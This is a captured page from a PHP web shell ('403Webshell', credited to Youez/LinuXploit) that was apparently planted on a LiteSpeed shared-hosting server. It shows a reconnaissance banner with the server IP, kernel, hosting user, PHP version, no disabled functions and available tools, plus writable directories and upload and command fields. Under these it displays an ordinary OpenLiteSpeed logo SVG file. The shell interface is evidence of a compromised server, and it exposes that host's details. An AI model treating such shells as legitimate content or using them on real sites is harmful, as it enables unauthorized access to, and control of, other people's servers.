403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.191.233.80
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/usr/local/lsws/docs/img/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/usr/local/lsws/docs/img/ols_logo.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="150px" height="100px" viewBox="0 0 150 100" enable-background="new 0 0 150 100" xml:space="preserve">
<g>
	<path fill="#003E6E" d="M114.12,19.546l-5.682,5.665c5.168,6.938,8.258,15.496,8.258,24.789c0,22.988-18.702,41.696-41.698,41.696
		c-0.007,0-0.017,0-0.026,0c-0.013,0-0.018,0-0.037,0c-1.765,0-3.498-0.146-5.207-0.358c-0.333-0.047-0.652-0.104-0.99-0.152
		c-1.551-0.236-3.082-0.546-4.574-0.944c-0.128-0.041-0.259-0.065-0.386-0.105c-1.861-0.52-3.668-1.163-5.407-1.924
		c-6.742-2.92-12.49-7.607-16.812-13.43c-3.696-4.979-6.357-10.766-7.533-17.11c-0.027-0.121-0.039-0.257-0.063-0.388
		c-0.192-1.112-0.369-2.229-0.472-3.367c-0.041-0.401-0.041-0.814-0.062-1.219c-0.052-0.88-0.133-1.753-0.133-2.653
		c0-2.886,0.29-5.694,0.852-8.415c0.267-1.297,0.597-2.572,0.982-3.814c0.008-0.05,0.021-0.104,0.031-0.146
		C40.437,20.677,56.3,8.302,74.998,8.302c2.794,0,5.487,0.372,8.114,0.916c0.135,0.032,0.27,0.056,0.407,0.086
		c1.104,0.234,2.178,0.52,3.245,0.834c0.711,0.206,1.39,0.456,2.084,0.704c0.61,0.215,1.239,0.426,1.834,0.672
		c0.264,0.105,0.513,0.248,0.772,0.362l8.751-4.627c-7.397-4.384-16.012-6.915-25.208-6.915C47.616,0.334,25.334,22.61,25.334,50
		c0,11.488,3.958,22.048,10.535,30.474c3.834,4.911,8.568,9.073,13.951,12.258c7.396,4.375,15.988,6.934,25.177,6.934
		c27.388,0,49.667-22.279,49.667-49.666C124.665,38.509,120.694,27.963,114.12,19.546z"/>
	<g>
		<path fill="#F6D000" d="M39.29,90.338c-0.553,0-1.161-0.386-1.372-0.898c-0.417-1.011,0.436-1.855,0.796-2.218L66.66,59.28
			L46.717,47.535c-0.903-0.522-1.418-1.325-1.399-2.209c0.008-0.882,0.549-1.674,1.479-2.166l62.515-33.057
			c0.593-0.309,1.008-0.443,1.402-0.443c0.548,0,1.157,0.383,1.367,0.892c0.419,1.011-0.404,1.825-0.792,2.219L83.403,40.653
			l19.89,11.8c0.905,0.526,1.419,1.332,1.401,2.214c-0.018,0.882-0.563,1.666-1.487,2.158L40.683,89.893
			C40.1,90.205,39.681,90.338,39.29,90.338z"/>
		<path fill="#577BC6" d="M110.714,11.029c0.227,0,0.101,0.27-0.395,0.774L82.432,39.684c-0.796,0.796-0.642,1.909,0.32,2.467
			l19.854,11.491c0.97,0.562,0.957,1.444-0.04,1.972L40.042,88.68c-0.364,0.196-0.616,0.284-0.751,0.284
			c-0.225,0-0.113-0.267,0.391-0.767l27.948-27.949c0.794-0.793,0.647-1.903-0.328-2.455L47.407,46.345
			c-0.976-0.559-0.961-1.445,0.031-1.972l62.516-33.057C110.319,11.122,110.572,11.029,110.714,11.029 M110.714,8.288L110.714,8.288
			c-0.638,0-1.246,0.18-2.05,0.608L46.16,41.948c-1.37,0.723-2.196,1.98-2.219,3.357c-0.023,1.374,0.761,2.653,2.097,3.419
			l18.565,10.679L37.74,86.256c-1.228,1.227-1.601,2.477-1.09,3.708c0.42,1.024,1.531,1.746,2.64,1.746
			c0.629,0,1.241-0.181,2.041-0.606l62.519-33.065c1.358-0.719,2.183-1.972,2.21-3.346c0.032-1.372-0.746-2.654-2.079-3.424
			L85.451,40.547l26.806-26.803c1.234-1.233,1.603-2.486,1.087-3.717C112.926,9.006,111.82,8.288,110.714,8.288L110.714,8.288z"/>
	</g>
</g>
<g>
</g>
<g>
	<path fill="#003E6E" d="M66.16,188.362l0.004-8.877c0,0.088,0,0.18,0,0.279L66.16,188.362z"/>
	<path fill="#003E6E" d="M66.163,199.491c-0.007-0.004-0.013-1.137-0.011-2.52l0.008-8.609l-0.01,11.117L66.163,199.491z"/>
	<path fill="#003E6E" d="M67.947,197.733c-0.977,0.975-1.778,1.768-1.784,1.758l0.011,0.016L67.947,197.733z"/>
</g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit